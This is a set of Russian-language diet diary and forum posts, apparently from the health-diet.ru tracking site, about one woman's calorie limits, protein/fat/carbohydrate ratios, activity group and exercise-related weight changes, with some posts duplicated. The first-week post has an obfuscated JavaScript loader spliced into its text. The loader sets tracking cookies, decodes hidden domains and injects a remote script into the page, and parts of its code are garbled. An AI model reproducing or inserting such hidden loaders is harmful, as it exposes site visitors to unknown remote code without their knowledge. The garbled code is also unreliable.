Вот и прошел месяц с МЗР! Как и планировалось разработчиками 3,1 кг долой! Минусы в объемах ОГ-7 см, ОТ-8 см, ОЖ - 6см, ОБ-4 см.Поначалу казалось, что уж много кушать придется. Все дело в том, что сначала поставила группу интенсивности труда "легкий физический", посчитала, что так будет правильно - я в отпуске по уходу за ребенком, потом начала сомневаться спрашивать на форуме, и в итоге в споре, спасибо Toy Joy, родилась истина (как мне кажется), поставила себе группу неработающие. Все равно при вводе физических нагрузок объем калорий меняется - коридор увеличивается. Купила палки для нордической ходьбы, начала по утрам ходить, занимаюсь с Джилиан Майклс - реально помогает - тело подтянулось, стала влезать в старый гардероб (лет 6 назад носила). Всем начинающим желаю удачи и следовать рекомендациям МЗР,и все у вас получится! Спасибо разработчикам сайта и всем, кто меня поддерживал и давал советы!  Прикреплен дневник питания

Позавчера почти все утро убила на правильное соотношение БЖУ для похудения - кучу статей перечитала. В основном придерживаются норм методических рекомендаций - это соотношение БЖУ 30%\20%\50% -сбалансированное питание (сейчас я это пробую, причем здесь можно сокращать углеводы для создания дефицита , очень сытно получилось при том, что не добрала углеводов). Посмотрим на результат.

Галина Килина написал:
"Мне тоже МЗР выдал немного другие нормы: 30/23/47%. И на этой норме чувствую себя сейчас очень комфортно"
татьяна написал:
"Галина Килина, У меня пограмма выдала белков-78гр а жиров 62. Получается жиров 40% от рациона Кошмарно".
  Согласна с Татьяной, ведь если я правильно понимаю то проценты БЖУ следует высчитывать из калорийности рациона, но не из граммов. Рассчитывая проценты из общего количества граммов БЖУ картина получается очень даже ничего, но ведь мы должны учитывать калорийность употребляемой пищи. И если посчитать то, что выдает программа МЗР, получается что жиров то у нас 40% - это же "ай-ай-ай", а белков получается 20-25%(по расчетам МЗР для меня), а как потребление жиров может превышать потребление белков?
"Если во время похудения не будет учитываться обязательная норма потребления белков, то организм начнет «съедать» себя самостоятельно, тем самым уменьшая вес за счет исчезновения мышечной массы – но зато процент липидов может стремительно возрасти". 
Рассчитываем БЖУ
Следует отметить, что 1грамм белков и углеводов = 4ккал, а 1грамм жира = 9ккал. 
Поэтому белки должны составлять от 30 до 35% калорий в день, жиры, в свою очередь, от 15 до 20%, а углеводы – от 45 до 50% калорийности в сутки. Исходя из данных цифр, производятся следующим расчеты: 
• Белки (если нижний предел 1250) = (1250 х 0,3)/4
Белки (если верхний предел 1600) = (1600 х 0,35)/4
Результат: от 93 до 140гр в сутки 
• Жиры (если нижний предел 1250) = (1250 х 0,15)/9
Жиры (если верхний предел 1600) = (1600 х 0,2)/9
Результат: от 21 до 35гр в сутки 
• Углеводы (если нижний предел 1250) = (1250 х 0,45)/4
Углеводы (если верхний предел 1600) = (1600 х 0,5)/4
Результат: от 140 до 200гр в сутки
Сейчас (сегодня - второй день) я установила свои личные нормы по БЖУ (30\20\50).Может я не права, но почему-то мне кажется, что так правильней, хотя я на МЗР только 12 дней, если у вас есть опыт поделитесь!

Вчера почти все утро убила на правильное соотношение БЖУ для похудения - кучу статей перечитала. В основном придерживаются норм методических рекомендаций - это соотношение БЖУ 30%\20%\50% -сбалансированное питание (сейчас я это пробую, причем здесь можно сокращать углеводы для создания дефицита , очень сытно получилось при том, что не добрала углеводов). Посмотрим на результат.  Прикреплен дневник питания

Здравствуйте уважаемые женщины, а может и мужчин!. Уже две недели с МЗР, пытаюсь питаться правильно, держусь, даже нравится, начала заниматься фитнесом: делаю упражнения с Джилиан Майклс (30-дневная программа) и по утрам занимаюсь нордической ходьбой. Вроде все хорошо, чувствую себя отлично, но после потери 1,2 кг, вдруг весы стали показывать больше с каждым днем. Причиной не мог быть рацион (все делаю как положено), тело подтянулось, складочки уходят, а вес прибавляется (не критически) начала искать информацию в интернете, и оказалось, что это физические нагрузки. Вот что я нашла. Может у кого-то схожая ситуация - успокойтесь!
"Вы решили заняться спортом, и уже некоторое время регулярно посещаете фитнес-клуб с целью снизить вес? Проходит две-три недели тренировок, и вдруг Вы с ужасом обнаруживаете, что некогда нормально сидевшие джинсы начинают «трещать по швам», а весы показывают прибавку на 1,5-2 кг? Как же так?! Ведь лишние жиры должны «улетучиваться» из наполненного энергией тела! Неужели занятия спортом бесполезны и могут даже стать причиной набора килограммов?     Проблема: увеличение веса и объемов в начале занятий фитнесом Всем, кто сталкивался с подобными проблемами, я советую не пугаться и не забрасывать тренировки. Небольшое увеличение веса в начале занятий может иметь место по нескольким причинам, и у каждой их них есть свое решение. Первое, что нужно делать, если Вы заметили прибавку в весе, - это успокоиться и немного подождать – примерно 1-2 недели. Не спешите в страхе списывать «плюс» на мышцы! Многие принимают эти несчастные 1,5 кг за мускулы и начинают думать, что это они так «накачались». Успокойтесь, мышцы так быстро не растут, для примера – женщина, которая усиленно занимается фитнесом в тренажерном зале и соблюдает диету с высоким содержанием белка, может за месяц набрать всего 500 г мышечной массы. Поэтому отбросьте эти предрассудки и не бойтесь, что гантели весом 3-4 кг могут за месяц превратить вас в культуриста.   В чем причина набора веса? Самая распространенная причина увеличения веса и объемов – это накопление жидкости в мышцах.   Когда Вы даете мышцам непривычную для них нагрузку, то они начинают требовать больше питательных веществ, из-за этого увеличивается количество циркулирующей крови и жидкости (ведь не зря же советуют больше пить во время тренировок). Эта жидкость накапливается в мышцах (в них есть особое вещество - гликоген, которое способно задерживать воду при необходимости). Таким образом мышцы адаптируются к нагрузке. Увеличившийся тонус мышц – тоже причина небольшого увеличения объема. Но! Уже через 2-4 недели после начала тренировок организм несколько адаптируется к физическим нагрузкам, обмен веществ ускорится, и лишня жидкость «уйдет», а вместе с ней начнут «таять» жировые отложения.   Вы также в силах помочь своему телу в этом случае – стрейчинг, массаж, теплая ванна или баня помогут восстановиться мышцам и окажут лимфодренажное действие. После каждой тренировки обязательно делайте растяжку все мышечных групп, которые работали, это неотъемлемое условие хороших результатов. Полезно принять ванну с морской солью – минералы оказывают расслабляющее действие, а сама соль выводит лишнюю жидкость из организма. Сходите на сеанс лимфодренажного массажа или в парную – эти процедуры очень хорошо помогает организму справиться с нагрузками. Еще одна причина – это питание, а точнее - переедание.   Некоторые думают: «Раз уж я хожу на фитнес, то могу есть, что хочу». Наверное, я кого-то разочарую, но заниматься фитнесом, есть все подряд и худеть невозможно. Даже самые энергоемкие физические нагрузки не помогут, если не следить за питанием. Чтобы сжечь калории от одной плитки шоколада, необходимо бегать чуть больше часа в хорошем темпе. Вы способны на такое? Спорт и правильное питание – неразделимы, поэтому не поддавайтесь гастрономическим соблазнам. Главное – не сдавайтесь и не бросайте тренировки!"

Источник: http://miss-slim.ru/statii_o_pohudenii/476-pochemu-rastet-ves-pri-zanyatiyah-fitnesom.html
© http://miss-slim.ru/

Когда человек ходит на работу, ему более или менее понятно к какой группе интенсивности труда себя отнести. Но когда ты  - домохозяйка или находишься в отпуске по уходу за ребенком (как я) начинаются сомнения. В общем, эти сомнения не обошли меня стороной: сначала определила себя в группу легкого физического труда, показалось, что уж многовато калорий мне придется потреблять. Потом поменяла свою группу на умственный труд - калорий меньше, а когда добавляешь физнагрузки, получается недобор, ну и вес не особо-то уходит, то 100, то 200, то вообще набирается в том же количестве. Искала более подробную информацию и нашла! В википедии. Теперь точно определяю себя в группу легкого физического труда (мама ребенка в декретном отпуске). Вот информация, может быть кому-то как я, поможет.
Умственный труд охватывает весьма широкий диапазон различных по характеру и содержанию видов деятельности. К их числу относятся:

• научный труд – труд научных работников, занимающихся научно-исследовательской работой;
• инженерный труд – труд инженерно-технических работников, занимающихся проектной, конструкторской и технологической работой;
• педагогический труд – труд профессоров, преподавателей и учителей;
• врачебный труд;
• управленческий труд – труд руководителей и специалистов, осуществляющих управление трудовыми коллективами;
• производственный труд – труд рабочих и специалистов, осуществляющих управление сложными технологическими процессами, оборудованием, автоматизированными и роботизированными системами;
• вспомогательный труд – труд работников, ведущих бухгалтерский учёт и др.

Труд политических деятелей, юристов и многих других категорий работников можно с известной долей условности отнести, например, к управленческому, или к другим видам в зависимости от их конкретной специфики.
Предметом умственного труда (независимо от вида) является информация, содержащая состояние практики и задания по её изменению. Информация является также и продуктом умственного труда:

• для научного труда – отчёт, монография, статья, доклад;
• для инженерного труда – проект, конструкторская и технологическая документация, опытный образец;
• для педагогического труда – конспект лекций или занятия, прочитанная лекция, экзамен и т.д.;
• для врачебного труда – диспансерное обследование, постановка диагноза, хирургическая операция;
• для управленческого труда – план работ, учёт, анализ, приказ;
• для производственного труда – программа работы оборудования, автоматизированной системы управления.

Физические работы принято делить на три группы по степени их тяжести. В основе этого деления лежит потребление кислорода как один из доступных для измерения объективных показателей энергозатрат. В связи с этим различают работы: лёгкие, средней тяжести и тяжёлые.

К лёгким относятся работы, выполняемые сидя, стоя или связанные с ходьбой, но без систематического напряжения, без поднятия и переноса тяжестей. Это работы в швейном производстве, в точном приборостроении и машиностроении, в полиграфии, в связи и т.д.

К категории средней тяжести относятся работы, связанные с постоянной ходьбой и переноской небольших (до 10 кг) тяжестей, и выполняемые стоя. Это работа в механосборочных цехах, в механизированных мартеновских, прокатных, литейных, кузнечных, термических цехах и т.д.

К категории тяжёлых относятся работы, связанные с систематическим физическим напряжением, а также с постоянным передвижением и переноской значительных (более 10 кг) тяжестей. Это кузнечные работы с ручной ковкой, литейные с ручной набивкой и заливкой опок и т.д.

Доброго времени суток, уважаемые МЗРовцы! Помогите определиться с группой интенсивности труда. Нахожусь в декретном отпуске - доче 6 месяцев, без помощников - муж в постоянных командировках. Ребенок спокойный, т.е. у меня есть время и на сайте пообщаться, и спокойно еду приготовить, и с дочей поиграть, и занятия-репититорство (2 раза по 1,5 часа) проводить. Гуляем в день в среднем 2 часа - бывает больше, бывает меньше(очень редко).Короче я не бегаю как угорелая, ребенка на руках - если только укачать - 5-10 минут, ну и перенести туда-сюда. Из ОФП - начала заниматься нордической ходьбой через день по 40 минут, плюс различные упражнения на пресс, хула хуп, прыжки со скакалкой.К какой группе мне себя отнести (наверное, без учета физ нагрузок) - умственного труда или легкого физического?

Сегодня окончание первой недели на МЗР Пищевые привычки изменились.Голода совсем не чувствую, наедаюсь и худею по чуть-чуть. Поняла, что если калорий меньше минимума - результат отрицательный. Добавляю физическую нагрузку - чувствую подтягивается тело то. Получается в среднем за день уходит по 100 грамм, хотя был и привес - недоела, а может перед КД организм начал накапливать жидкость, а может все сразу.Пользуюсь рецептами с сайта - спасибо всем кто делится ими, все вкусно и полезно! Смотрю другие за неделю по килограмму и больше скидывают, но у меня так не получилось, а так хочется.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="18167",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); Прикреплен дневник питания

Дорогие женщины! Поделитесь, пожалуйста. Перед критическими днями начинается прибавка в весе. Сижу в коридоре, энергетический баланс минус 500 и выше, упражняюсь интенсивней, а вес растет.  Это у всех так или только у меня.

Здравствуйте, "коллеги"! У меня вопрос, может что упустила в теории: Если потреблять меньше коридора, будет ли снижаться вес? Кто-нибудь так уже пробовал? А то мне кажется, что много ем. На сегодня составила меню в 1500 ккал, но увидев объемы еды - подумала, что занадта (многовато - по-беларусски) будет. Сократила объемы и получилось меньше коридора (от 1590 ккал). Кто так уже делал? Каковы результаты. Будьте добры, поделитесь мнением!

Здравствуйте, "коллеги"! У меня вопрос, может что упустила в теории: Если потреблять меньше коридора, будет ли снижаться вес? Кто-нибудь так уже пробовал? А то мне кажется, что много ем. На сегодня составила меню в 1500 ккал, но увидев объемы еды - подумала, что занадта (многовато - по-беларусски) будет. Сократила объемы и получилось меньше коридора (от 1590 ккал). Кто так уже делал? Каковы результаты. Будьте добры поделитесь мнением! Прикреплен дневник питания